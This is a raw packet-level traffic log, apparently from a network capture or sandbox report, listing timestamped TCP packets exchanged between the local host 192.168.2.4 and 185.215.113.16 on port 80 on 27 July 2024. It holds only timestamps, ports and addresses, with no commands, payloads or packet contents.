Jul 27, 2024 05:39:25.561021090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561032057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561054945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561055899 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561070919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561073065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561085939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561104059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561114073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561114073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561136007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561151028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561153889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561166048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561172962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561172962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561181068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561203957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561208963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561208963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561219931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561233997 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561244965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561244965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561249018 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561273098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561274052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561274052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561288118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561301947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561316013 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561326027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561326027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561331034 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561347961 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561357021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561357021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561362982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561378002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561391115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561392069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561392069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561405897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561420918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561420918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561440945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561455011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561455011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561455965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561471939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561486006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561500072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561503887 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561503887 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561513901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561528921 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561532021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561532021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561543941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561557055 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561559916 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561559916 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561572075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561587095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561592102 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561592102 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561603069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561616898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561630964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561638117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561638117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561647892 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561664104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561677933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561681986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561681986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561695099 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561709881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561709881 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561709881 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561724901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561739922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561739922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561741114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561769009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561769009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561852932 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561929941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561944008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561958075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561973095 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561994076 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561994076 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562021017 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562036991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562048912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562069893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562079906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562079906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562093973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562094927 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562108994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562124968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562129021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562129021 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562140942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562151909 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562165022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562180042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562180996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562180996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562197924 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562213898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562220097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562220097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562231064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562238932 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562247038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562252998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562264919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562288046 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562288046 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562306881 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562526941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562549114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562563896 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562578917 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562591076 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562593937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562608957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562614918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562625885 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562630892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562650919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562666893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562666893 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562668085 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562683105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562697887 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562712908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562712908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562712908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562728882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562745094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562745094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562766075 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562766075 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562800884 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562815905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562829971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562844992 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562860012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562875986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562889099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562889099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562889099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562891006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562900066 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562906027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562921047 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.562947035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.562947035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563056946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563182116 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563225031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563236952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563252926 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563290119 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563313007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563328028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563340902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563357115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563375950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563375950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563380957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563395977 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563410044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563424110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563424110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563424110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563453913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563453913 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563491106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.563529968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.563529968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.707895994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.707937002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.707976103 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.707992077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708010912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708043098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708076000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708100080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708106995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708156109 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708185911 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708185911 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708188057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708210945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708220959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708255053 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708261013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708261013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708287001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708319902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708328962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708328962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708352089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708384991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708415985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708426952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708426952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708426952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708448887 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708477020 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708503962 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708504915 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708590031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708621979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708653927 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708703041 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708734035 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708776951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708776951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708777905 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708785057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708822966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708870888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708914042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708914042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708918095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708951950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.708971977 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.708988905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709009886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709037066 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709059000 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709069014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709103107 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709108114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709108114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709151030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709173918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709183931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709232092 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709244967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709244967 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709268093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709299088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709323883 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709323883 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709345102 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709348917 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709381104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709410906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709417105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709440947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709486008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709510088 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709517956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709549904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709597111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709629059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709639072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709639072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709645987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709664106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709697008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709728956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709760904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709774017 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709774017 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709774017 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709794044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709825993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709856987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709865093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709865093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709865093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709891081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.709903955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.709923983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710010052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710010052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710150003 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710182905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710213900 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710246086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710246086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710256100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710306883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710339069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710346937 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710346937 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710346937 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710383892 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710406065 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710433006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710457087 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710474968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710490942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710639000 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710659981 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710702896 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710715055 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710764885 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710788012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710796118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710805893 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710827112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710845947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710880041 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710901022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710931063 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.710956097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710972071 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.710994005 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711046934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711074114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711093903 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711093903 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711122036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711154938 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711178064 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711178064 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711185932 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711186886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711236954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711250067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.711287022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711333036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711364031 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.711376905 CEST	49489	80	192.168.2.4	185.215.113.16
